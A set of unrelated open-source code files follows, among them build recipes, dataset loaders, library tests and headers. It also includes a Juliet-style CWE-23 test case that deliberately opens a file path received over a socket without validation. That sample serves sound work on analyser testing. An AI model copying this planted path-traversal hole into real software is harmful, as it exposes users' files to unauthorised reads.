self.spec options = [ "-DBUILD_SHARED_LIBS:BOOL=%s" % ('ON' if '+shared' in spec else 'OFF'), "-DBUILD_STATIC_LIBS:BOOL=%s" % ('OFF' if '+shared' in spec else 'ON') ] # Make sure we use Spack's Lapack: blas = spec['blas'].libs lapack = spec['lapack'].libs options.extend([ '-DLAPACK_FOUND=true', '-DLAPACK_INCLUDE_DIRS=%s' % spec['lapack'].prefix.include, '-DLAPACK_LIBRARIES=%s' % (lapack.joined(';')), '-DBLAS_LIBRARIES=%s' % (blas.joined(';')) ]) c_flags = [] if '+pic' in spec: c_flags.append(self.compiler.cc_pic_flag) options.append( "-DCMAKE_Fortran_FLAGS=%s" % self.compiler.fc_pic_flag ) # Work around errors of the form: # error: implicit declaration of function 'BI_smvcopy' is # invalid in C99 [-Werror,-Wimplicit-function-declaration] if spec.satisfies('%clang') or spec.satisfies('%apple-clang'): c_flags.append('-Wno-error=implicit-function-declaration') options.append( self.define('CMAKE_C_FLAGS', ' '.join(c_flags)) ) return options @run_after('install') def fix_darwin_install(self): # The shared libraries are not installed correctly on Darwin: if (sys.platform == 'darwin') and ('+shared' in self.spec): fix_darwin_install_name(self.spec.prefix.lib) class NetlibScalapack(ScalapackBase): """ScaLAPACK is a library of high-performance linear algebra routines for parallel distributed memory machines """ homepage = "https://www.netlib.org/scalapack/" url = "https://www.netlib.org/scalapack/scalapack-2.0.2.tgz" tags = ['e4s'] version('2.1.0', sha256='61d9216cf81d246944720cfce96255878a3f85dec13b9351f1fa0fd6768220a6') version('2.0.2', sha256='0c74aeae690fe5ee4db7926f49c5d0bb69ce09eea75beb915e00bba07530395c') version('2.0.1', sha256='a9b34278d4e10b40cbe084c6d87d09af8845e874250719bfbbc497b2a88bfde1') version('2.0.0', sha256='e51fbd9c3ef3a0dbd81385b868e2355900148eea689bf915c5383d72daf73114') # versions before 2.0.0 are not using cmake and requires blacs as # a separated package
import os from typing import Optional from pytorchltr.utils.downloader import DefaultDownloadProgress from pytorchltr.utils.downloader import Downloader from pytorchltr.utils.file import validate_and_download from pytorchltr.utils.file import extract_zip from pytorchltr.utils.file import dataset_dir from pytorchltr.datasets.svmrank.svmrank import SVMRankDataset class MSLR10K(SVMRankDataset): """ Utility class for downloading and using the MSLR-WEB10K dataset: https://www.microsoft.com/en-us/research/project/mslr/. This dataset is a smaller sampled version of the MSLR-WEB30K dataset. """ downloader = Downloader( url="https://api.onedrive.com/v1.0/shares/s!AtsMfWUz5l8nbOIoJ6Ks0bEMp78/root/content", # noqa: E501 target="MSLR-WEB10K.zip", sha256_checksum="2902142ea33f18c59414f654212de5063033b707d5c3939556124b1120d3a0ba", # noqa: E501 progress_fn=DefaultDownloadProgress(), postprocess_fn=extract_zip) per_fold_expected_files = { 1: [ {"path": "Fold1/train.txt", "sha256": "6eb3fae4e1186e1242a6520f53a98abdbcde5b926dd19a28e51239284b1d55dc"}, # noqa: E501 {"path": "Fold1/test.txt", "sha256": "33fe002374a4fce58c4e12863e4eee74745d5672a26f3e4ddacc20ccfe7d6ba0"}, # noqa: E501 {"path": "Fold1/vali.txt", "sha256": "e86fb3fe7e8a5f16479da7ce04f783ae85735f17f66016786c3ffc797dd9d4db"} # noqa: E501 ], 2: [ {"path": "Fold2/train.txt", "sha256": "40e4a2fcc237d9c164cbb6a3f2fa91fe6cf7d46a419d2f73e21cf090285659eb"}, # noqa: E501 {"path": "Fold2/test.txt", "sha256": "44add582ccd674cf63af24d3bf6e1074e87a678db77f00b44c37980a3010917a"}, # noqa: E501 {"path": "Fold2/vali.txt", "sha256": "33fe002374a4fce58c4e12863e4eee74745d5672a26f3e4ddacc20ccfe7d6ba0"} # noqa: E501 ], 3: [ {"path": "Fold3/train.txt", "sha256": "f13005ceb8de0db76c93b02ee4b2bded6f925097d3ab7938931e8d07aa72acd7"}, # noqa: E501 {"path": "Fold3/test.txt", "sha256": "c0a5a3c6bd7790d0b4ff3d5e961d0c8c5f8ff149089ce492540fa63035801b7a"}, # noqa: E501 {"path": "Fold3/vali.txt", "sha256": "44add582ccd674cf63af24d3bf6e1074e87a678db77f00b44c37980a3010917a"} # noqa: E501 ], 4: [ {"path": "Fold4/train.txt", "sha256": "6c1677cf9b2ed491e26ac6b8c8ca7dfae9c1a375e2bce8cba6df36ab67ce5836"}, # noqa: E501 {"path": "Fold4/test.txt", "sha256": "dc6083c24a5f0c03df3c91ad3eed7542694115b998acf046e51432cb7a22b848"}, # noqa: E501 {"path": "Fold4/vali.txt", "sha256": "c0a5a3c6bd7790d0b4ff3d5e961d0c8c5f8ff149089ce492540fa63035801b7a"} # noqa: E501 ], 5: [ {"path": "Fold5/train.txt", "sha256": "4249797a2f0f46bff279973f0fb055d4a78f67f337769eabd56e82332c044794"}, # noqa: E501 {"path": "Fold5/test.txt", "sha256": "e86fb3fe7e8a5f16479da7ce04f783ae85735f17f66016786c3ffc797dd9d4db"}, # noqa: E501 {"path": "Fold5/vali.txt", "sha256": "dc6083c24a5f0c03df3c91ad3eed7542694115b998acf046e51432cb7a22b848"} # noqa: E501 ] } splits = { "train": "train.txt", "test": "test.txt", "vali": "vali.txt" } def __init__(self, location: str = dataset_dir("MSLR10K"), split: str = "train", fold: int = 1, normalize: bool = True, filter_queries: Optional[bool] = None, download: bool = True, validate_checksums: bool = True): """ Args: location: Directory where the dataset is located. split: The data split to load ("train", "test" or "vali") fold: Which data fold to load (1...5) normalize: Whether to perform query-level feature normalization. filter_queries: Whether to filter out queries that have no relevant items. If not given this will filter queries for the test set but not the train set. download: Whether to download the dataset if it does not exist. validate_checksums: Whether to validate the dataset files via sha256. """ # Check if specified split and fold exists. if split not in MSLR10K.splits.keys(): raise ValueError("unrecognized data split '%s'" % str(split)) if fold not in MSLR10K.per_fold_expected_files.keys(): raise ValueError("unrecognized data fold '%s'" % str(fold)) # Validate dataset exists and is correct, or download it. validate_and_download( location=location, expected_files=MSLR10K.per_fold_expected_files[fold], downloader=MSLR10K.downloader if download else None, validate_checksums=validate_checksums) # Only filter queries on non-train splits. if filter_queries is None: filter_queries = False if split == "train" else True # Initialize the dataset. datafile = os.path.join(location, "Fold%d" % fold, MSLR10K.splits[split]) super().__init__(file=datafile, sparse=False, normalize=normalize, filter_queries=filter_queries, zero_based="auto")
/* Package: dyncall Library: test File: test/callf/main.c Description: License: Copyright (c) 2007-2021 Daniel Adler <dadler@uni-goettingen.de>, Tassilo Philipp <tphilipp@potion-studios.com> Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ /* test dcCallF API */ #include "../../dyncall/dyncall_callf.h" #include "../common/platformInit.h" #include "../common/platformInit.c" /* Impl. for functions only used in this translation unit */ #include <stdarg.h> #if defined(DC_UNIX) && !defined(DC__OS_BeOS) #include <sys/syscall.h> #endif /* sample void function */ int vf_iii(int x,int y,int z) { int r = (x == 1 && y == 2 && z == 3); printf("%d %d %d: %d", x, y, z, r); return r; } int vf_ffiffiffi(float a, float b, int c, float d, float e, int f, float g, float h, int i) { int r = (a == 1.f && b == 2.f && c == 3 && d == 4.f && e == 5.f && f == 6 && g == 7.f && h == 8.f && i == 9); printf("%f %f %d %f %f %d %f %f %d: %d", a, b, c, d, e, f, g, h, i, r); return r; } int vf_ffiV(float a, float b, int c, ...) { va_list ap; double d, e, g, h; int f, i; int r; va_start(ap, c); d = va_arg(ap, double); e = va_arg(ap, double); f = va_arg(ap, int); g = va_arg(ap, double); h = va_arg(ap, double); i = va_arg(ap, int); va_end(ap); r = (a == 1.f && b == 2.f && c == 3 && d == 4. && e == 5. && f == 6 && g == 7. && h == 8. && i == 9); printf("%f %f %d %f %f %d %f %f %d: %d", a, b, c, d, e, f, g, h, i, r); return r; } /* main */ int main(int argc, char* argv[]) { DCCallVM* vm; DCValue ret; int r = 1; dcTest_initPlatform(); /* allocate call vm */ vm = dcNewCallVM(4096); /* calls using 'formatted' API */ dcReset(vm); printf("callf iii)i: "); dcCallF(vm, &ret, (void*)&vf_iii, "iii)i", 1, 2, 3); r = ret.i && r; dcReset(vm); printf("\ncallf ffiffiffi)i: "); dcCallF(vm, &ret, (void*)&vf_ffiffiffi, "ffiffiffi)i", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9); r = ret.i && r; /* same but with calling convention prefix */ dcReset(vm); printf("\ncallf _:ffiffiffi)i: "); dcCallF(vm, &ret, (void*)&vf_ffiffiffi, "_:ffiffiffi)i", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9); r = ret.i && r; /* vararg call */ dcReset(vm); printf("\ncallf _effi_.ddiddi)i: "); dcCallF(vm, &ret, (void*)&vf_ffiV, "_effi_.ddiddi)i", 1.f, 2.f, 3, 4., 5., 6, 7., 8., 9); r = ret.i && r; /* arg binding then call using 'formatted' API */ dcReset(vm); /* reset calling convention too */ dcMode(vm, DC_CALL_C_DEFAULT); printf("\nargf iii)i then call: "); dcArgF(vm, "iii)i", 1, 2, 3); r = r && dcCallInt(vm, (void*)&vf_iii); dcReset(vm); printf("\nargf iii then call: "); dcArgF(vm, "iii", 1, 2, 3); r = r && dcCallInt(vm, (void*)&vf_iii); dcReset(vm); printf("\nargf ffiffiffi)i then call: "); dcArgF(vm, "ffiffiffi)i", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9); r = r && dcCallInt(vm, (void*)&vf_ffiffiffi); dcReset(vm); printf("\nargf ffiffiffi then call: "); dcArgF(vm, "ffiffiffi", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9); r = r && dcCallInt(vm, (void*)&vf_ffiffiffi); #if defined(DC_UNIX) && !defined(DC__OS_MacOSX) && !defined(DC__OS_SunOS) && !defined(DC__OS_BeOS) /* testing syscall using calling convention prefix - not available on all platforms */ dcReset(vm); printf("\ncallf _$iZi)i"); fflush(NULL); /* needed before syscall write as it's immediate, or order might be incorrect */ dcCallF(vm, &ret, (DCpointer)(ptrdiff_t)SYS_write, "_$iZi)i", 1/*stdout*/, " = syscall: 1", 13); r = ret.i == 13 && r; #endif /* free vm */ dcFree(vm); printf("\nresult: callf: %d\n", r); dcTest_deInitPlatform(); return 0; }
// This is a library to be used to represent a Graph and various measurments for a Graph // and to perform optimization using Particle Swarm Optimization (PSO) // Copyright (C) 2008, 2015 // Patrick Olekas - polekas55@gmail.com // Ali Minai - minaiaa@gmail.com // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. package psograph.graph; import java.io.Serializable; /** * This represents a Edge. * * There is some commented out code I believe in this file to support DAG and the concept * of multiple edges between two nodes. * @author Patrick * */ public class Edge implements Serializable { static final long serialVersionUID = 45L; /** * Copy Constructor * @param ci */ public Edge(Edge ci) { m_weight = ci.m_weight; } /** * Constructor * @param weight */ public Edge(double weight) { m_weight = weight; } /** * Comparison of two objects */ public boolean equals (Object obj) { boolean ret = true; Edge e = (Edge)obj; if(Double.compare(m_weight, e.getWeight()) != 0) { ret = false; } return ret; } /** * Mutator for weight value. * @param weight */ public void modifyWeight(double weight) { m_weight = weight; } /** * Accessor for weight. * @return */ public double getWeight() { return m_weight; } private double m_weight; /* Only allow on weight per node to node connection ConnectionInfo(ConnectionInfo ci) { m_weight = new Vector<Integer>(ci.m_weight); } ConnectionInfo(int weight) { m_weight = new Vector<Integer>(); m_weight.add(weight); } ConnectionInfo(int weight[]) { m_weight = new Vector<Integer>(); for(int i=0; i < weight.length; i++) m_weight.add(weight[i]); } void addWeight(int weight) { m_weight.add(weight); } void addWeights(int weight[]) { m_weight = new Vector<Integer>(); for(int i=0; i < weight.length; i++) m_weight.add(weight[i]); } void removeWeight(int weight) { m_weight.remove(new Integer(weight)); } void removeWeights(int weight[]) { for(int i=0; i < weight.length; i++) m_weight.remove(new Integer(weight[i])); } Vector<Integer> m_weight; */ }
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. // http://code.google.com/p/protobuf/ // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Author: kenton@google.com (Kenton Varda) // Based on original Protocol Buffers design by // Sanjay Ghemawat, Jeff Dean, and others. // Modified to implement C code by Dave Benson. #include <google/protobuf/compiler/c/c_enum_field.h> #include <google/protobuf/compiler/c/c_helpers.h> #include <google/protobuf/io/printer.h> #include <google/protobuf/wire_format.h> namespace google { namespace protobuf { namespace compiler { namespace c { using internal::WireFormat; // TODO(kenton): Factor out a "SetCommonFieldVariables()" to get rid of // repeat code between this and the other field types. void SetEnumVariables(const FieldDescriptor* descriptor, map<string, string>* variables) { (*variables)["name"] = FieldName(descriptor); (*variables)["type"] = FullNameToC(descriptor->enum_type()->full_name()); if (descriptor->has_default_value()) { const EnumValueDescriptor* default_value = descriptor->default_value_enum(); (*variables)["default"] = FullNameToUpper(default_value->type()->full_name()) + "__" + ToUpper(default_value->name()); } else (*variables)["default"] = "0"; (*variables)["deprecated"] = FieldDeprecated(descriptor); } // =================================================================== EnumFieldGenerator:: EnumFieldGenerator(const FieldDescriptor* descriptor) : FieldGenerator(descriptor) { SetEnumVariables(descriptor, &variables_); } EnumFieldGenerator::~EnumFieldGenerator() {} void EnumFieldGenerator::GenerateStructMembers(io::Printer* printer) const { switch (descriptor_->label()) { case FieldDescriptor::LABEL_REQUIRED: printer->Print(variables_, "$type$ $name$$deprecated$;\n"); break; case FieldDescriptor::LABEL_OPTIONAL: printer->Print(variables_, "protobuf_c_boolean has_$name$$deprecated$;\n"); printer->Print(variables_, "$type$ $name$$deprecated$;\n"); break; case FieldDescriptor::LABEL_REPEATED: printer->Print(variables_, "size_t n_$name$$deprecated$;\n"); printer->Print(variables_, "$type$ *$name$$deprecated$;\n"); break; } } string EnumFieldGenerator::GetDefaultValue(void) const { return variables_.find("default")->second; } void EnumFieldGenerator::GenerateStaticInit(io::Printer* printer) const { switch (descriptor_->label()) { case FieldDescriptor::LABEL_REQUIRED: printer->Print(variables_, "$default$"); break; case FieldDescriptor::LABEL_OPTIONAL: printer->Print(variables_, "0,$default$"); break; case FieldDescriptor::LABEL_REPEATED: // no support for default? printer->Print("0,NULL"); break; } } void EnumFieldGenerator::GenerateDescriptorInitializer(io::Printer* printer) const { string addr = "&" + FullNameToLower(descriptor_->enum_type()->full_name()) + "__descriptor"; GenerateDescriptorInitializerGeneric(printer, true, "ENUM", addr); } } // namespace c } // namespace compiler } // namespace protobuf } // namespace google
/* * Copyright (C) 2015 - 2016 VREM Software Development <VREMSoftwareDevelopment@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.vrem.wifianalyzer.wifi.graph.channel; import android.content.Context; import android.content.res.Resources; import android.support.v4.util.Pair; import android.view.View; import com.jjoe64.graphview.GraphView; import com.vrem.wifianalyzer.BuildConfig; import com.vrem.wifianalyzer.Configuration; import com.vrem.wifianalyzer.RobolectricUtil; import com.vrem.wifianalyzer.settings.Settings; import com.vrem.wifianalyzer.wifi.band.WiFiBand; import com.vrem.wifianalyzer.wifi.band.WiFiChannel; import com.vrem.wifianalyzer.wifi.graph.tools.GraphLegend; import com.vrem.wifianalyzer.wifi.graph.tools.GraphViewWrapper; import com.vrem.wifianalyzer.wifi.model.SortBy; import com.vrem.wifianalyzer.wifi.model.WiFiConnection; import com.vrem.wifianalyzer.wifi.model.WiFiData; import com.vrem.wifianalyzer.wifi.model.WiFiDetail; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.robolectric.RobolectricGradleTestRunner; import org.robolectric.annotation.Config; import java.util.ArrayList; import java.util.Set; import static org.junit.Assert.assertEquals; import static org.mockito.Matchers.any; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.verify; import static org.mockito.Mockito.when; @RunWith(RobolectricGradleTestRunner.class) @Config(constants = BuildConfig.class) public class ChannelGraphViewTest { private Context context; private Resources resources; private Settings settings; private Configuration configuration; private GraphViewWrapper graphViewWrapper; private ChannelGraphView fixture; @Before public void setUp() throws Exception { RobolectricUtil.INSTANCE.getMainActivity(); graphViewWrapper = mock(GraphViewWrapper.class); context = mock(Context.class); resources = mock(Resources.class); settings = mock(Settings.class); configuration = mock(Configuration.class); fixture = new ChannelGraphView(WiFiBand.GHZ2, new Pair<>(WiFiChannel.UNKNOWN, WiFiChannel.UNKNOWN)); fixture.setGraphViewWrapper(graphViewWrapper); fixture.setContext(context); fixture.setResources(resources); fixture.setSettings(settings); fixture.setConfiguration(configuration); } @Test public void testUpdate() throws Exception { // setup WiFiData wiFiData = new WiFiData(new ArrayList<WiFiDetail>(), WiFiConnection.EMPTY, new ArrayList<String>()); withSettings(); // execute fixture.update(wiFiData); // validate verify(graphViewWrapper).removeSeries(any(Set.class)); verify(graphViewWrapper).updateLegend(GraphLegend.RIGHT); verify(graphViewWrapper).setVisibility(View.VISIBLE); verifySettings(); } private void verifySettings() { verify(settings).getChannelGraphLegend(); verify(settings).getSortBy(); verify(settings).getWiFiBand(); } private void withSettings() { when(settings.getChannelGraphLegend()).thenReturn(GraphLegend.RIGHT); when(settings.getSortBy()).thenReturn(SortBy.CHANNEL); when(settings.getWiFiBand()).thenReturn(WiFiBand.GHZ2); } @Test public void testGetGraphView() throws Exception { // setup GraphView expected = mock(GraphView.class); when(graphViewWrapper.getGraphView()).thenReturn(expected); // execute GraphView actual = fixture.getGraphView(); // validate assertEquals(expected, actual); verify(graphViewWrapper).getGraphView(); } }
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad.cpp Label Definition File: CWE23_Relative_Path_Traversal.label.xml Template File: sources-sink-83_bad.tmpl.cpp */ /* * @description * CWE: 23 Relative Path Traversal * BadSource: connect_socket Read data using a connect socket (client side) * GoodSource: Use a fixed file name * Sinks: ifstream * BadSink : Open the file named in data using ifstream::open() * Flow Variant: 83 Data flow: data passed to class constructor and destructor by declaring the class object on the stack * * */ #ifndef OMITBAD #include "std_testcase.h" #include "CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83.h" #ifdef _WIN32 #include <winsock2.h> #include <windows.h> #include <direct.h> #pragma comment(lib, "ws2_32") /* include ws2_32.lib when linking */ #define CLOSE_SOCKET closesocket #else /* NOT _WIN32 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #define INVALID_SOCKET -1 #define SOCKET_ERROR -1 #define CLOSE_SOCKET close #define SOCKET int #endif #define TCP_PORT 27015 #define IP_ADDRESS "127.0.0.1" #include <fstream> using namespace std; namespace CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83 { CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad::CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad(char * dataCopy) { data = dataCopy; { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; char *replace; SOCKET connectSocket = INVALID_SOCKET; size_t dataLen = strlen(data); do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a connect socket */ connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connectSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = inet_addr(IP_ADDRESS); service.sin_port = htons(TCP_PORT); if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed, make sure to recv one * less char than is in the recv_buf in order to append a terminator */ /* Abort on error or the connection was closed */ recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(char) * (FILENAME_MAX - dataLen - 1), 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* Append null terminator */ data[dataLen + recvResult / sizeof(char)] = '\0'; /* Eliminate CRLF */ replace = strchr(data, '\r'); if (replace) { *replace = '\0'; } replace = strchr(data, '\n'); if (replace) { *replace = '\0'; } } while (0); if (connectSocket != INVALID_SOCKET) { CLOSE_SOCKET(connectSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } } CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad::~CWE23_Relative_Path_Traversal__char_connect_socket_ifstream_83_bad() { { ifstream inputFile; /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */ inputFile.open((char *)data); inputFile.close(); } } } #endif /* OMITBAD */
/** * Tiny LRU cache for Client or Server * * @author Jason Mulligan <jason.mulligan@avoidwork.com> * @copyright 2018 * @license BSD-3-Clause * @link https://github.com/avoidwork/tiny-lru * @version 5.0.5 */ "use strict"; (function (global) { const empty = null; class LRU { constructor (max, ttl) { this.clear(); this.max = max; this.ttl = ttl; } clear () { this.cache = {}; this.first = empty; this.last = empty; this.length = 0; return this; } delete (key, bypass = false) { return this.remove(key, bypass); } evict () { if (this.length > 0) { this.remove(this.last, true); } return this; } get (key) { let result; if (this.has(key) === true) { const item = this.cache[key]; if (item.expiry === -1 || item.expiry > Date.now()) { result = item.value; this.set(key, result, true); } else { this.remove(key, true); } } return result; } has (key) { return key in this.cache; } remove (key, bypass = false) { if (bypass === true || this.has(key) === true) { const item = this.cache[key]; delete this.cache[key]; this.length--; if (item.next !== empty) { this.cache[item.next].prev = item.prev; } if (item.prev !== empty) { this.cache[item.prev].next = item.next; } if (this.first === key) { this.first = item.next; } if (this.last === key) { this.last = item.prev; } } return this; } set (key, value, bypass = false) { if (bypass === true || this.has(key) === true) { const item = this.cache[key]; item.value = value; if (this.first !== key) { const p = item.prev, n = item.next, f = this.cache[this.first]; item.prev = empty; item.next = this.first; f.prev = key; if (p !== empty) { this.cache[p].next = n; } if (n !== empty) { this.cache[n].prev = p; } if (this.last === key) { this.last = p; } } } else { if (this.length === this.max) { this.evict(); } this.length++; this.cache[key] = { expiry: this.ttl > 0 ? new Date().getTime() + this.ttl : -1, prev: empty, next: this.first, value: value }; if (this.length === 1) { this.last = key; } else { this.cache[this.first].prev = key; } } this.first = key; return this; } } function factory (max = 1000, ttl = 0) { return new LRU(max, ttl); } // Node, AMD & window supported if (typeof exports !== "undefined") { module.exports = factory; } else if (typeof define === "function" && define.amd !== void 0) { define(() => factory); } else { global.lru = factory; } }(typeof window !== "undefined" ? window : global));
/* * SpanDSP - a series of DSP components for telephony * * super_tone_rx.h - Flexible telephony supervisory tone detection. * * Written by Steve Underwood <steveu@coppice.org> * * Copyright (C) 2003 Steve Underwood * * All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License version 2.1, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * $Id: super_tone_rx.h,v 1.21 2009/02/10 13:06:47 steveu Exp $ */ #if !defined(_SPANDSP_SUPER_TONE_RX_H_) #define _SPANDSP_SUPER_TONE_RX_H_ /*! \page super_tone_rx_page Supervisory tone detection \section super_tone_rx_page_sec_1 What does it do? The supervisory tone detector may be configured to detect most of the world's telephone supervisory tones - things like ringback, busy, number unobtainable, and so on. \section super_tone_rx_page_sec_2 How does it work? The supervisory tone detector is passed a series of data structures describing the tone patterns - the frequencies and cadencing - of the tones to be searched for. It constructs one or more Goertzel filters to monitor the required tones. If tones are close in frequency a single Goertzel set to the centre of the frequency range will be used. This optimises the efficiency of the detector. The Goertzel filters are applied without applying any special window functional (i.e. they use a rectangular window), so they have a sinc like response. However, for most tone patterns their rejection qualities are adequate. The detector aims to meet the need of the standard call progress tones, to ITU-T E.180/Q.35 (busy, dial, ringback, reorder). Also, the extended tones, to ITU-T E.180, Supplement 2 and EIA/TIA-464-A (recall dial tone, special ringback tone, intercept tone, call waiting tone, busy verification tone, executive override tone, confirmation tone). */ /*! Tone detection indication callback routine */ typedef void (*tone_report_func_t)(void *user_data, int code, int level, int delay); typedef struct super_tone_rx_segment_s super_tone_rx_segment_t; typedef struct super_tone_rx_descriptor_s super_tone_rx_descriptor_t; typedef struct super_tone_rx_state_s super_tone_rx_state_t; #if defined(__cplusplus) extern "C" { #endif /*! Create a new supervisory tone detector descriptor. \param desc The supervisory tone set desciptor. If NULL, the routine will allocate space for a descriptor. \return The supervisory tone set descriptor. */ SPAN_DECLARE(super_tone_rx_descriptor_t *) super_tone_rx_make_descriptor(super_tone_rx_descriptor_t *desc); /*! Free a supervisory tone detector descriptor. \param desc The supervisory tone set desciptor. \return 0 for OK, -1 for fail. */ SPAN_DECLARE(int) super_tone_rx_free_descriptor(super_tone_rx_descriptor_t *desc); /*! Add a new tone pattern to a supervisory tone detector set. \param desc The supervisory tone set descriptor. \return The new tone ID. */ SPAN_DECLARE(int) super_tone_rx_add_tone(super_tone_rx_descriptor_t *desc); /*! Add a new tone pattern element to a tone pattern in a supervisory tone detector. \param desc The supervisory tone set desciptor. \param tone The tone ID within the descriptor. \param f1 Frequency 1 (-1 for a silent period). \param f2 Frequency 2 (-1 for a silent period, or only one frequency). \param min The minimum duration, in ms. \param max The maximum duration, in ms. \return The new number of elements in the tone description. */ SPAN_DECLARE(int) super_tone_rx_add_element(super_tone_rx_descriptor_t *desc, int tone, int f1, int f2, int min, int max); /*! Initialise a supervisory tone detector. \param s The supervisory tone detector context. \param desc The tone descriptor. \param callback The callback routine called to report the valid detection or termination of one of the monitored tones. \param user_data An opaque pointer passed when calling the callback routine. \return The supervisory tone detector context. */ SPAN_DECLARE(super_tone_rx_state_t *) super_tone_rx_init(super_tone_rx_state_t *s, super_tone_rx_descriptor_t *desc, tone_report_func_t callback, void *user_data); /*! Release a supervisory tone detector. \param s The supervisory tone context. \return 0 for OK, -1 for fail. */ SPAN_DECLARE(int) super_tone_rx_release(super_tone_rx_state_t *s); /*! Free a supervisory tone detector. \param s The supervisory tone context. \return 0 for OK, -1 for fail. */ SPAN_DECLARE(int) super_tone_rx_free(super_tone_rx_state_t *s); /*! Define a callback routine to be called each time a tone pattern element is complete. This is mostly used when analysing a tone. \param s The supervisory tone context. \param callback The callback routine. */ SPAN_DECLARE(void) super_tone_rx_segment_callback(super_tone_rx_state_t *s, void (*callback)(void *data, int f1, int f2, int duration)); /*! Apply supervisory tone detection processing to a block of audio samples. \brief Apply supervisory tone detection processing to a block of audio samples. \param super The supervisory tone context. \param amp The audio sample buffer. \param samples The number of samples in the buffer. \return The number of samples processed. */ SPAN_DECLARE(int) super_tone_rx(super_tone_rx_state_t *super, const int16_t amp[], int samples); #if defined(__cplusplus) } #endif #endif /*- End of file ------------------------------------------------------------*/
import sys import logging import urlparse import urllib import redis from flask import Flask, current_app from flask_sslify import SSLify from werkzeug.contrib.fixers import ProxyFix from werkzeug.routing import BaseConverter from statsd import StatsClient from flask_mail import Mail from flask_limiter import Limiter from flask_limiter.util import get_ipaddr from flask_migrate import Migrate from redash import settings from redash.query_runner import import_query_runners from redash.destinations import import_destinations __version__ = '7.0.0-beta' import os if os.environ.get("REMOTE_DEBUG"): import ptvsd ptvsd.enable_attach(address=('0.0.0.0', 5678)) def setup_logging(): handler = logging.StreamHandler(sys.stdout if settings.LOG_STDOUT else sys.stderr) formatter = logging.Formatter(settings.LOG_FORMAT) handler.setFormatter(formatter) logging.getLogger().addHandler(handler) logging.getLogger().setLevel(settings.LOG_LEVEL) # Make noisy libraries less noisy if settings.LOG_LEVEL != "DEBUG": logging.getLogger("passlib").setLevel("ERROR") logging.getLogger("requests.packages.urllib3").setLevel("ERROR") logging.getLogger("snowflake.connector").setLevel("ERROR") logging.getLogger('apiclient').setLevel("ERROR") def create_redis_connection(): logging.debug("Creating Redis connection (%s)", settings.REDIS_URL) redis_url = urlparse.urlparse(settings.REDIS_URL) if redis_url.scheme == 'redis+socket': qs = urlparse.parse_qs(redis_url.query) if 'virtual_host' in qs: db = qs['virtual_host'][0] else: db = 0 client = redis.StrictRedis(unix_socket_path=redis_url.path, db=db) else: if redis_url.path: redis_db = redis_url.path[1] else: 